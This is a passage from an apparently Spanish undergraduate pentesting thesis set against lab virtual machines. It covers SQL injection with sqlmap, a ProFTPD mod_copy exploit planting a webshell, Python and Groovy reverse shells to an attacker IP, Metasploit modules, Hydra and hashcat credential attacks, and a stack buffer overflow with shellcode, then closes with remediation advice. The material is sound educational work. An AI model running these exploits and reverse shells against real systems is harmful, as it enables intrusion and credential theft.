gue mas nos interesa es la base de datos payroll. Por lo que mostramos sus tablas

(Figura [5.6).
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1 sqlmap -r /home/m00d/Desktop/TFG/sqli/burp.req
2 ——data='user=a&password=a&s=0K' -p user -D payroll
3 ——tables

10:17:40] [INFO] fetching tables for database: 'payroll’
Database: payroll
1 table]

_I_
| users

Figura 5.6: Tablas obtenidas con SQLmap

Obtenemos todas las tablas de la base de datos seleccionada y elegimos la
tabla users, ya que lo que queremos es conseguir credenciales.

1 sqlmap -r /home/m00d/Desktop/TFG/sqli/burp.req
2 ——data='user=a&password=a&s=0K' -p user -D payroll
3 =T users --dump

Database: payroll
Table: users
[15 entries]

-+

password username last_name first_name |

+

Leia
Luke
Han
Artoo

C

Ben
Darth
Anakin
Jar-Jar
Lando
Boba
Jaba
Greedo
Chewbacca
Kylo

help_me_obiwan leia_organa Organa
like_my_father_beforeme luke_skywalker Skywalker
nerf_herder han_solo Solo
boop_b33p artoo_detoo Detoo
Prot0co7 c_three_pio Threepio
thats_no_m@@n ben_kenobi Kenobi
Dark syD3 darth_vader Vader
but_master:( anakin_skywalker Skywalker
mesah_pagssword jarjar_binks Binks
@dmlnlstr8r lando_calrissian Calrissian
mandalorianl boba_fett Fett
my_kinda_skum jabba_hutt Hutt
hanSh@tFilrst greedo Rodian
rwaaaaawrs chewbacca <blank>
Daddy_Issues2 kylo_ren Ren

—_——— e+ — %

I
I
I
I
I
I
I
I
I
I
I
I
i

-+

Figura 5.7: Datos obtenidos con SQLmap

Finalmente de la tabla users obtenemos todas sus columnas. Ademas en la
Figura podemos observar como hemos conseguido informacion a la que no
deberiamos tener acceso: usuarios, contrasenas, emails, etc...

21



5.2. Vulnerabilidades de servicios

En esta seccion se describiran las vulnerabilidades relacionadas con los servi-
cios ofrecidos por un servidor, explicando coémo abusar de las malas configuracio-
nes o practicas inseguras realizadas en ellos.

5.2.1. Servidor ProFTPD

En el puerto 21 hay un servidor ProFTPD [14] version 1.3.5. Realizando una
busqueda del servicio con su version encontramos un CVE(CVE—2015-3306)
de gravedad alta. La vulnerabilidad permite abusar del médulo mod copy en
ProFTPD 1.3.5 y permite a atacantes remotos leer y escribir en ficheros arbitra-
rios a través de los comandos site cpfr y site cpto, que son comandos propios del
servidor ftp.

sincibe-cert_
Inicio / Alerta Temprana / Vulnerabilidades / CVE-2015-3306
Vulnerabilidad en el modulo mod_copy en ProFTPD (CVE-2015-3306)

Tipo: Control de acceso incorrecto
Gravedad: Alta [l

Fecha publicacion : 18/05/2015
Ultima modificacién: 26/05/2021

Figura 5.8: CVE-2015-3306

Al tener un CVE asociado probablemente haya un exploit disefiado para abusar
de la vulnerabilidad. Entonces el procedimiento a seguir sera buscar en exploit
database [18] y en Metasploit. En exploit database se puede ver un exploit que
deja en el servidor un fichero llamado backdoor.php en la ruta /var/www/html/, la
cual permitira ejecutar comandos arbitrariamente cuando el atacante quiera en
una webshell [28] (Figura ). Para ejecutar comandos en la webshell tendremos
gue usar el fichero backdoor.php con su parametro cmd, al que le asignamos el
comando a ejecutar, en este caso whoami.

http:192.168.1.254/backdoor.php?cmd=whoami

Los comandos seran ejecutados en la webshell por el usuario www-data con bajos
privilegios.
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&« C ( @ localhost:3000 —cat%20/et

£ Module: Tes... @ Replit-Home & CNIT127:Ex... B InfosecMatt...

proftpd: 192.168.1.253:45350: SITE cpto /tmp/.root:x:0:0:root:/root:/bi
daemon:x:1:1:daemon:/ust/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usi
sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
games:X:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:/usr/shin/nologin backup:x:34:34:backup:/var/backups:/
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bii
messagebus:x:102:106::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin statd:x:104:65534::/A
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
chewbacca:x:1124:100::/home/chewbacca:/bin/bash
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash mysql:x:106:112:MySi

O e e ettt 2 BT et AT AL AL TARTE e

Figura 5.9: Web shell obtenida con la explotacion

Cambiando el script se consigue que ademas de lograr ejecutar comandos
arbitrariamente devuelva el contenido del fichero /etc/passwd, cuyo contenido
sera usado para otros vectores de ataque, ya que se obtienen los diferentes usuarios
de la maquina victima como podemos ver en la Figura .
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usuariogdebian-11-sinred-cloudinit:

oit.py --host 192.168.1.254 --port 21 --path "/var/ww/html/"

[+] CVE-2015-3306 exploit by t@kx and meed

[+] Exploiting 192.168.1.254:21

[+] Target exploited, acessing shell at http://192.168.1.254/backdoor.php
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologi
nbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync
:X:4:65534:sync:/bin:/bin/syncgames:x:5:60:games: /usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbhin/nologinlp:x:7:7:1p:/var/spool/lpd:/us
r/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var
/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nolo
ginproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwmw-data:x:33:33: ww-data:/var/w
ww: /usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:
x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var
/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/
var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/
sbin/nologinlibuuid:x:100:101:: /var/1lib/libuuid:syslog:x:101:104 :: /home/syslo
g:/bin/falsemessagebus:x:102:106:: /var/run/dbus:/bin/falsesshd:x:103:65534 :: /
var/run/sshd:/usr/sbin/nologinstatd:x:104:65534 :: /var/lib/nfs:/bin/falsevagra
nt:x:900:900:vagrant,,,:/home/vagrant:/bin/bashdirmngr:x:105:111:: /var/cache/
dirmngr:/bin/shleia_organa:x:1111:100 :: /home/leia_organa:/bin/bashluke_skywal
ker:x:1112:100:: /home/luke_skywalker:/bin/bashhan_solo:x:1113:100 :: /home/han_
solo:/bin/bashartoo_detoo:x:1114:100 :: /home/artoo_detoo:/bin/bashc_three_pio:
x:1115:100 :: /home/c_three_pio:/bin/bashben_kenobi:x:1116:100 :: /home/ben_kenob
i:/bin/bashdarth_vader:x:1117:100:: /home/darth_vader:/bin/bashanakin_skywalke
r:x:1118:100:: /home/anakin_skywalker:/bin/bashjarjar_binks:x:1119:100 :: /home/
jarjar_binks:/bin/bashlando_calrissian:x:1120:100:: /home/lando_calrissian:/bi
n/bashboba_fett:x:1121:100 :: /home/boba_fett:/bin/bashjabba hutt:x:1122:100:: /
home/jabba_hutt:/bin/bashgreedo:x:1123:100 :: /home/greedo:/bin/bashchewbacca:x
:1124:100 :;: /home/chewbacca:/bin/bashkylo_ren:x:1125:100 :: /home/kylo_ren:/bin/
bashmysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/falseavahi:x:107:114:Av
ahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/falsecolord:x:108:116:colord co
lour management daemon,,,:/var/lib/colord:/bin/false

[+] Done

Figura 5.10: Salida del script desarrollado

Al tener una consola interactiva en la web también se puede entablar una
reverse shell [24], en la que se manda una consola interactiva desde la maquina
victima a la maquina atacante. Este vector de ataque se realiza de varias formas,
sin embargo se usara python para realizarlo. Para establecer una reverse shell con
python se utiliza el siguiente codigo:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
socket .SOCK_STREAM) ;s.connect (("192.168.1.253",1234))

Aunque como lo que estamos usando es una webshell, este codigo malicioso tiene
gue ir codificado en forma de url, siendo la peticion final:

http://192.168.1.254/backdoor.php?cmd=python %20-c %20 %27import %20socket %
2Csubprocess %2Cos %3Bs /,3Dsocket . socket %28socket . AF_INET %2Csocket .
SOCK_STREAM %29%3Bs . connect %28%28%22192.168.1.253%22%2C1234 %29 %29

Para que la maquina atacante reciba la sesion interactiva enviada se usara la
herramienta Netcat. Concretamente el comando nc -lvp 1234 como se vio en la
seccion de Herramientas con el que se pondra el puerto 1234 en escucha, reci-
biendo asi la reverse shell (Figura ) de la maquina victima.
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root@debian-11-sinred-cloudinit: fhome/usuario/ubuntu/ftp/exploit-CVE-2015-3306# nc -lvp 1234
lis n1ng on 1234 ...
58.1.254: inverse host lookup
ct to from (UN
/bin/sh: @: can't access tty; job contro1 turned off
% whoami
www-data
% hostname

% “cope g]oba] dockere
ever preferred t forever
:fedc:859d/64 scope 11nF

va11d 1ft forever preferred 1ft forever

2 |

Figura 5.11: Reverse Shell obtenida

5.2.2. Servicio ssh

En el puerto 22 esta el servicio ssh activo siendo en este caso OpenSSH [13]].
Realizando una busqueda del servicio con su version no se encuentra ningun CVE
Ni Nningun exploit relacionado en exploit database. Entonces descartando varias
opciones y teniendo en cuenta que previamente se ha obtenido un listado de
usuarios usaremos la herramienta Hydra, para ello se desarrollara un script en
bash. En el script se usa principalmente el comando:

hydra -L /home/usuario/ubuntu/ssh/users.txt
-P /home/usuario/ubuntu/ssh/rockyou.txt
192.168.1.254 -t 4 -e nsr -v ssh

A este comando se le pasa por parametro un listado de usuarios y un diccionario
de contrasenas. Tras unos segundos el script encuentra la contrasefia del usuario
previamente obtenido vagrant, siendo su contrasefa vagrant también como se

muestra en la Figura[5.12]

[INFO] Tes T.lruu if ;_--n sword authentication is _u;-._mrT_n;-_ by ssh:,
[INFO] Suc stful, password —"uJThnn'hr-;r on 1is supported by ssh://

22][ssh] host: 192.168.1.254 login: vagrant password:

Figura 5.12: Captura de la herramienta Hydra obteniendo credenciales

De esta forma se demuestra que utilizar contrasefas que se encuentren en
diccionarios como Rockyou.txt o derivados es muy mala idea, ya que se ha tardado
menos de un minuto en obtener unas credenciales de sesion ssh validas. Ademas
gue en este caso el nombre del usuario es el mismo que su contrasefa lo que hace
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gue sea aun mas facil encontrarla, ya que casi todas las herramientas de vectores
de ataque de fuerza bruta hacen esta comprobacion antes de empezar con el
ataque por diccionario.

5.2.3. Servicio Jenkins

En el puerto 8484 observamos que se encuentra el servicio de Jenkins [8], asi
que entramos a él usando el navegador.

http://192.168.1.254:8484

Nos fijamos y Jenkins tiene una funcionalidad llamada Consola de scripts que
deberia estar deshabilitada, pero en este caso no lo esta. La Consola de scripts
(Figura ) fue disenada para ejecutar scripts en el lenguaje Groovy y automa-
tizar procesos, pero si tenemos libre acceso a una consola en la que podemos
introducir cédigo siempre podemos darle un uso abusivo. Entonces nuestro vec-
tor de ataque sera ejecutar scripts maliciosos, concretamente haremos un script
en Groovy(mucha similaridad con Java) que nos envie una reverse shell a nuestra
magqguina atacante al puerto que queramos.

>

Consola de scripts

Escribe un 'script’ Groovy script y ejecutalé en el servidor. Es Util para depurar e investigar problemas. Usa 'printin’ para ver la salida (si usas
System.out, se escribird en la salida 'stdout' del servidor, lo que es mas dificil de visualizar). Ejemplo:

println(Jenkins.instance.pluginManager.plugins)

Todas las clases de todos los plugins son visibles. Los paquetes: jenkins.*, jenkins.model.*, hudson.*, y hudson.model. *, se importaran
automaticamente.

String host="192.168.1.162";

int port=1234;

String cmd="bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStre,|

Figura 5.13: Console Script en Jenkins

En primer lugar desarrollamos el script y lo ponemos en la Consola de scripts
y nos ponemos en escucha con la herramienta Netcat a la espera de la reverse
shell (Figura [5.14)) y ejecutamos el script.
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—% nc 1234

listening on [any] 1234 ...

192.168.1.179: inverse host lookup failed: Unknown host

connect to [192.168.1.162] from (UNKNOWN) [192.168.1.179] 49541
Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Program Files\jenkins\Scripts>whoami
nt authority\local service

Figura 5.14: Reverse shell obtenida después de la explotacion

5.2.4. Servicio JIMX

En el puerto 1617 observamos que corre el servicio IMX [Q] y después de una
breve busqueda identificamos que se trata de una version vulnerable y que existe
un modulo de la herramienta MetaSploit que abusa de la vulnerabilidad. Ademas
también tiene un CVE asociado, siendo este el CVE-2015-2342 (5.15).

sincibe-cert_
Inicio / Alerta Temprana / Vulnerabilidades / CVE-2015-2342
Vulnerabilidad en JMX RMI en Vmware vCenter Server (CVE-2015-2342)

Tipo: No disponible / Otro tipo
Gravedad: Alta [l

Fecha publicacién : 12/10/2015
Ultima modificacién: 11/08/2018

Figura 5.15: CVE-2015-2342

"La aplicacion vCenter de VMware [16] utiliza la tecnologia Java Virtual Ma-
chine (JVM)y admite el uso de extensiones de administracion de Java (JMX). Se
configura un agente JMX para permitir la gestion remota de las maquinas virtua-
les. El agente JMX utiliza Mbeans. Cualquier objeto que se implemente como un
MBean y se registre con el agente JMX se puede administrar desde fuera de la
maquina virtual Java.

Se descubrio que el servicio IMX estaba configurado de manera insegura, ya
gue no requiere autenticacion, lo que permite que un usuario cualquiera se co-
necte e interactue con el servicio. El servicio IMX permite a los usuarios llamar a
la funcion "javax.management.loading.MLet", que permite cargar un MBean des-
de una URL remota. Un atacante puede configurar su servicio web remoto para
alojar ficheros maliciosos. Entonces cuando el servicio IMX se ejecuta, el agente
iniciara la URL en el fichero malicioso y ejecutara los métodos que conducen a la
ejecucion del codigo-[32]

La explotaremos utilizando los siguientes comandos en la consola de MetaSs-
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2

ploit, resultado en Figura |5.16;

use exploit/multi/misc/java_jmx_server
set RHOST 192.168.3.16

set RPORT 1617

exploit

msf6 > use exploit/multi/misc/java_jmx_server
No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit( ) > set RHOST 192.168.1.179

) > set RPORT 1617
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.1.162:4444
.168.1.179:1617 - Using URL: http://0.0.0.0:8080/WLR4MS0OB
.168.1.179:1617 Local IP: http://192.168.1.162:8080/WLR4MSOB
2.168.1.179:1617 - Sending RMI Header ...
.168.1.179:1617 Discovering the JMXRMI endpoint ...
.168.1.179:1617 JMXRMI endpoint on 192.168.1.179:49163
2.168.1.179:1617 Proceeding with handshake ...
.168.1.179:1617 Handshake with JMX MBean server on 192.168.1.179:49163
.168.1.179:1617 Loading payload ...
2.168.1.179:1617 Replied to request for mlet
.168.1.179:1617 Replied to request for payload JAR
.168.1.179:1617 Executing payload ...
Sending stage (58060 bytes) to 192.168.1.179
Meterpreter session 1 opened (192.168.1.162:4444 — 192.168.1.179:49818 ) at 2022-06-01 13:15:11 -0700

meterpreter > 1s
Listing: C:\Program Files\jmx

Mode Size Type Last modified Name

Hello.class
HelloMBean.class
Scripts
SimpleAgent.class
jmx.exe
start_jmx.bat

100776/ rwxrwxrw- 692 fil
100776/ rwxrwxrw- 215 fil
040776/ rwxrwxrw- 0 dir
100776/ rwxrwxrw- 1321 fil
100776/ rwxrwxrw- 204800 fil
100776/ rwxrwxrw- 248 fil

NN NMNNNN
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NN
e e
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wWwwwww

Figura 5.16: Consola interactiva obtenida con MetaSploit

5.2.5. Servicio ElasticSearch

En el puerto 9200 se encuentra el servicio Elastic Search [3], tras una breve
busqueda realizada en la fase anterior encontramos que tiene un CVE asociado,
concretamente CVE-2014-3120.

Para explotarlo buscamos en la herramienta MetaSploit un modulo que se
encargue de aprovechar esta vulnerabilidad. Vemos que el mddulo exploit/mul-
tifelasticsearch/script_mvel _rce explota el CVE-2014-3120. Este mddulo se apro-
vecha de un bug encontrado en la API REST de Elastic Search, la cual no requiere
autenticacion y permite la ejecucion de scripts. La vulnerabilidad permite ejecu-
cion de comandos remota, pudiendo el atacante ejecutar codigo Java.

En consecuencia usaremos los siguientes comando en la consola de MetaS-
ploit, resultado en Figura |5.1

1 use exploit/multi/elasticsearch/script\_mvel\_rce

> show targets
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s set TARGET target-id
4+ set RHOST 192.168.3.16
5 exploit

Started reverse TCP handler on 192.168.1.162:4444

Trying to execute arbitrary Java ...

Discovering remote OS ...
[+] Remote 0S is 'Windows Server 2008 R2'

Discovering TEMP path
[+] TEMP path identified: 'C:\Windows\TEMP\'

Sending stage (58060 bytes) to 192.168.1.179

Meterpreter session 2 opened (192.168.1.162:4444 — 192.168.1.179:49269
[!] This exploit may require manual cleanup of 'C:\Windows\TEMP\WLKWEs.jar'

meterpreter > 1s
Listing: C:\Program Files\elasticsearch-1.1.1

Mode Size Type Last modified Name
100776/rwxrwxrw- 11358 fil 2014-02-12 08:35: LICENSE. txt
100776/ rwxrwxrw- 150 fil 2014-03-25 15:38:27 NOTICE.txt
100776/rwxrwxrw- 8093 fil 2014-03-25 15:38:2: README.textile
040776/ rwxrwxrw- 4096 dir 2014-04-16 14:28: bin
040776/rwxrwxrw- 0 dir 2014-04-16 14:28: config

040776/ ruxrwxrw- 0 dir 2022-03-29 10:17: data
040776/rwxrwxrw- 8192 dir 2014-04-16 14:28: 1lib

040776/ rwXrwxrw- dir 2022-06-05 04:49: logs

Figura 5.17: Consola intereactiva obtenida con MetaSploit

5.2.6. Servidor MySQL

En el puerto 3306 vemos el servicio MySQL [[12], en este caso nos aprovechare-
mos de una configuracion pobre, en la que se permite la autenticacién sin contra-
sena. Como atacantes nos interesa conseguir la informacion sensible de las bases
de datos como por ejemplo credenciales de los distintos usuarios. En primer lugar
entramos a las bases de datos con el comando, obteniendo el resultado mostrado

en la Figura[5.18}

1 mysql -h 192.168.3.16 -u root
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—$ mysql 192.168.1.179 root

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 2

Server version: 5.5.20-log MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MysQL [(none)]> |}

Figura 5.18: Intrusion en el servido MySQL

En segundo lugar aprovechamos los comandos de MySQL para movernos y
buscar la informacion sensible, en este caso los hashes de las contrasenas de los
usuarios, mostrados en la Figura [5.19

1 use database;

> show tables;

s describe table;

4+ SELECT * FROM wp_users;

user_login user_pass

vagrant $P$BMO//62Hj1IFeIr@XulugMmtBllnzN/
user $P$B831jKvzkiB6yZL8Ubpi35CMQHiQjv/

n n

| |
A —— S
admin | $P$B2PFjjNIHOQwDZzqrQxfX4GYzaskKQoNo |
| |

| |
manager I |
+ +

$P$BVCrFOY0231qIRkbXMRE]j/CBVP .. 2151

Figura 5.19: Contrasefnas hasheadas de los usuarios

En tercer lugar utilizaremos la herramienta Hashcat para poder obtener las
contrasenas de los usuarios en texto claro, ademas usaremos el diccionario rock-
you.txt. Con el siguiente comando obtenemos las contrasefias en texto claro, este
procedimiento tarda, ya que tenemos que probar localmente muchas posibilida-
des para conseguir crackear el hash de la contrasena.

1 hashcat -0 -m 400 -a O -o cracked.txt hash.txt rockyou.txt

5.2.7. Servicio ManageEngine

En el puerto 8020 se encuentra el servicio ManageEngine [11]] tras una breve
busqueda realizada en la fase anterior encontramos que tiene un CVE asociado,
concretamente CVE-2015-8249 (5.20).
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g incibe—cert_ Alerta ~ Incidentes ~ Servicios Publicaciones -~ Sobre INCIBE-CERT ~

Inicio / Alerta Temprana / Vulnerabilidades / CVE-2015-8249

Vulnerabilidad en FileUploadServlet en ManageEngine Desktop Central (CVE-
2015-8249)

Tipo: Subida sin restricciones de ficheros de tipos peligrosos
Gravedad: Alta Illl

Fecha publicacién : 27/09/2017

Ultima modificacién: 06/10/2017

Figura 5.20: CVE-2015-8249

Para explotarlo buscamos en la herramienta MetaSploit un moédulo que se
encargue de aprovechar esta vulnerabilidad. Vemos que el médulo exploit/win-
dows/http/manageengine_connectionid_write explota el CVE-2015-8249.

Este modulo de MetaSploit explota una vulnerabilidad encontrada en Mana-
geEngine Desktop Central 9, en la que al subir un archivo 7z [1] la clase FileU-
ploadServlet no comprueba el parametro Connectionld. Esto permite al atacan-
te inyectar ficheros maliciosos y moverlos hasta el directorio que permite correr
scripts en el servidor victima. Esto es un problema, ya que da la capacidad al ata-
cante de ejecutar comando remotamente, pudiendo asi comprometer la maquina
y tener acceso a todo su sistema.

Comencemos con la secuencia de comando necesaria para explotar esta vul-
nerabilidad:

use exploit/windows/http/manageengine\_connectionid\_write
show targets

set target O

show options

set RHOST 192.168.3.16

exploit

5.2.8. Servicio WinRM

En el puerto 5985 encontramos el servicio WinRM [17], en el que nos apro-
vecharemos de las vulnerabilidades previamente encontradas, concretamente en
las gue hemos obtenido credenciales de usuario. El problema que presenta el ser-
vicio WIinRM es por la debilidad de las contrasefnas de algunos usuarios que tienen
acceso a él, es decir no es una vulnerabilidad propia del servicio, sino que es facil
obtener unas credenciales de acceso validas para el mismo.

Para explotar este servicio usaremos lo siguientes comandos:

evil-winrm -i 192.168.3.15 -u Administrator -p 'vagrant'

Al ejecutar la linea anterior obtenemos una sesion interactiva en la que tene-
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mos privilegios de administrador, como se muestra en la Figura |5.21].

—( )-[~]

—% evil-winrm 192.168.1.179 Administrator ‘vagrant'

Warning: Remote path completions is disabled due to ruby limi

PS C:\Users\Administrator\Documents> whoami
vagrant-2008r2\administrator

Figura 5.21: Consola intereactiva obtenida con MetaSploit
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Capitulo 6

Escalada de privilegios

6.1. Mala configuracion de sudoers

Una vez se ha conseguido acceso como el usuario vagrant a la maquina vic-
tima como se expuso previamente en la explotacion del servicio ssh se utiliza el
comando id, que devolvera entre otros a qué grupos pertenece el usuario vagrant.
Entonces en los grupos a los que pertenece el usuario vagrant se encuentra el gru-
po sudo, por lo que este usuario puede ejecutar comandos como administrador.

vagrant@ubuntu:~$ sudo -
Matching Defaults entries for vagrant on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sb1i

User vagrant may run the following commands on ubuntu:
(ALL : ALL) ALL
(ALL : ALL) NOPASSWD: ALL

Figura 6.1: Mala configuracion encontrada

Ademas si se ejecuta sudo -/ como se observa en la Figura , la configura-
cion de sudo para el usuario vagrant tiene un error muy grave, ya que se permite
ejecutar lo que el usuario desee como administrador, por lo que al obtener una
sesion como el usuario vagrant se obtendra a efectos practicos una sesion de ad-
ministrador. Esto se trata de un problema muy grave, ya que un usuario con una
contrasena débil tiene acceso directo al usuario root, pudiendo comprometer el
sistema de forma muy sencilla.

6.2. Buffer Overflow(BOF)

Para explicar la vulnerabilidad Buffer Overflow [26] voy a poner un ejemplo
sencillo, ya que se trata de una vulnerabilidad complicada, en este caso usaremos
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el siguiente programa de ejemplo:

#include <string.h>
#include <stdio.h>
void func (char *arg) {
char nombre [32];
strepy (nombre, arg);
printf ("\nBienvenido a Linux Exploiting s\n\n", nombre);
int main (int argc, char xargv[]) {

func (argv|1]) ;
printf ("Fin \n\n")

return O;

En el programa se le pide al usuario que introduzca su nombre para darle la
bienvenida. Para ello se reserva un buffer de 32 bytes, si ponemos un nombre de
menos de 32 caracteres el programa seguira su correcto funcionamiento, pero si
utilizamos un nombre de mas de 32 caracteres el programa no funcionard, dando
asi una violacion de segmento.

El programa fallara porque los datos almacenados sobrescriben a los alma-
cenados en la pila, surge entonces una pregunta clave para explotar esta vulne-
rabilidad, ;Que pasaria si introducimos suficientes caracteres como para modifi-
car la direccion de retorno?. La pila tiene almacenada la variable local que defini-
mos como char nombre[32] por lo que ocupara 32 bits y seguido tiene el Frame
pointer(puntero de marco de pila)y a continuacion tiene la Direccion de retorno,
entonces suponiendo que ambas ocupan 8 bytes si supieramos la direccion de
memoria en la que esta nuestra funcidon podriamos sustituir la Direccion de re-
torno por la que nosotros deseemos. Para llevar esto a cabo usamos la utilidad
objdump, que nos dara la posicion de memoria en la que se encuentra nuestra
funcion. Anotar que se esta usando un sistema Little Endian, por ello la direccion
se escribe de los bits menos significativos a los mas significativos, por ejemplo si la
direccion fuera 16AB80 se escribiria 80 AB 16. En caso de que fuera Big Endian
se escribiria del bit mas significativo al menos significativo.
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suario@usuario-VirtualBox:~5 objdump -d ./prog | grep func

P8048444 < >:

8048486: e8 b9 ff ff ff call 8048444 <
suario@usuario-VirtualBox:~5% ./prog ‘perl -e 'print "A"x44 . "\ xB6\x84\x04\x08
41

Bienvenido a Buffer Overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGGGOOH

FIN

iolacién de segmento ( core' generado)
suariofiusuario-VirtualBox:~5%

Figura 6.2: Doble ejecucion de la funcién al corromper la pila

Como podemos observar en la Figura @ el programa adopta un comporta-
miento inadecuado repitiendo dos veces la funcién. Entonces surge otra pregunta
crucial ;Que pasaria si en el buffer introducimos shell code y somos capaces de
apuntar al principio del mismo?. En este caso podemos introducir un shell code
[25] que nos de una sesion interactiva de terminal, pero se nos presenta un pro-
blema ya que la direccion de memoria ya no es tan facil de localizar. Aunque de
varias formas se puede obtener una direccion aproximada y comenzar a probar
las subyacentes. Lo que haremos ahora es introducir el codigo que nos dara la
sesion interactiva en el buffer seguido de tantas A como haga falta para llegar a
introducir la direccion del comienzo del buffer lo que hara que el programa se
corrompa y comience a ejecutar el codigo que hemos introducido, dandonos la
sesion interactiva como se puede ver en la Figura IEZS]
usuario@usuario-vVirtualBox:~% ./prog "perl -e 'print "\x31\xcO\x50\x68\x2f\x2T\x

73\ x68\x68\x2T\x62\x69\ x6e\ xB9\ xe3\ x50\ x53\x89\ xel\xbo\x0b\ xcd\x88" . "AAAAAAAAA
AAAAAAAAAAA" . "\xb\xF3\xff\xbf"'"

Bienvenido a Buffer Overflow 1ePh//shh/bineePSeee
AAARAAAAAARAAAAAAAAAA

LA 0

Figura 6.3: Sesion interactiva obtenida al corromper el buffer

Por ultimo se nos plantea una ultima pregunta ;Que pasaria si el programa
tiene el permiso Setuid? y la respuesta es bastante sencilla, obtendriamos una
sesion como el usuario root. Ademas de las técnicas explicadas se pueden utilizar
otras mas avanzadas que facilitanla explicacion, pero queria demostrar un ejemplo
a bajo nivel de la vulnerabilidad.
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Capitulo 7

Soluciones y Recomendaciones

7.0.1. Solucion Vulnerabilidades Web

En este caso ambas vulnerabilidades web se solucionan de la misma forma.
Para solucionar las vulnerabilidades SQLi y XSS lo que hay que hacer es establecer
filtros en los campos en los que los usuarios pueden introducir contenido. De esta
manera logramos que no se introduzcan caracteres extranos como <>0 ' que son
esenciales para ambas vulnerabilidades.

7.0.2. Solucion Servidor ProFTPD

Para solucionar esta vulnerabilidad tenemos que aplicar los parches necesarios
para el servidor ProFTPD, ya que la version actual esta desfasada y en las versiones
actuales no se presenta la vulnerabilidad explotada previamente.

7.0.3. Solucion Servicio ssh y WinRM

El servicio ssh no tiene una mala configuracion como tal, al igual que el servicio
WinRM. Lo que falla esta vez es la fortaleza de las contrasenas de los usuarios, ya
gue por fuerza bruta es muy facil obtener las contrasenas de los usuarios obtenidos.
Asi que en este caso la recomendacion es establecer una politica de contrasenas
mas robusta.

7.0.4. Solucion Servicio Jenkins

Para el servicio Jenkins hay una solucion bastante sencilla que es desactivar
la consola de scripts o aislarla de manera que solo ciertos usuarios puedan acce-
der a ella, de esta forma los atacantes tendrian que previamente comprometer al
usuario. Aunque se recomienda su desactivacion en caso de no ser estrictamente
necesaria.
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7.0.5. Solucion Servicios IMX, ElasticSearch, ManageEngine

Para los servicio IMX, ElasticSearch, ManageEngine deberemos aplicar las ac-
tualizaciones. Actualmente se encuentran en unas versiones antiguas, pero los fa-
llos de seguridad explotados se solucionan en parches posteriores a la versiones
actualmente instaladas.

7.0.6. Solucion Servidor MySQL y sudoers

En este caso ambas son malas configuraciones que se pueden mitigar de una
forma facil. En primer lugar en el servidor MySQL deberia establecerse una con-
trasena y no permitir el acceso sin aportar la contrasefia. En segundo lugar habria
gue configurar los sudoers bien, restringiendo a los usuarios a ciertos comandos.
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Capitulo 8

Conclusiones

8.1. Conclusion

Actualmente dentro de la informatica el campo al que conocemos como ci-
berseguridad sigue en constante desarrollo, tanto su lado ofensivo, como su lado
defensivo. Asimismo a la par que evolucionan las defensas aplicadas por las or-
ganicaciones avanza el desarrollo de ciberataques mucho mas devastadores, pla-
neados y sofisticados. Ademas en ellos se realiza un estudio de la victima para
identificar los servicios criticos de la organizacion y depués de haberlos compro-
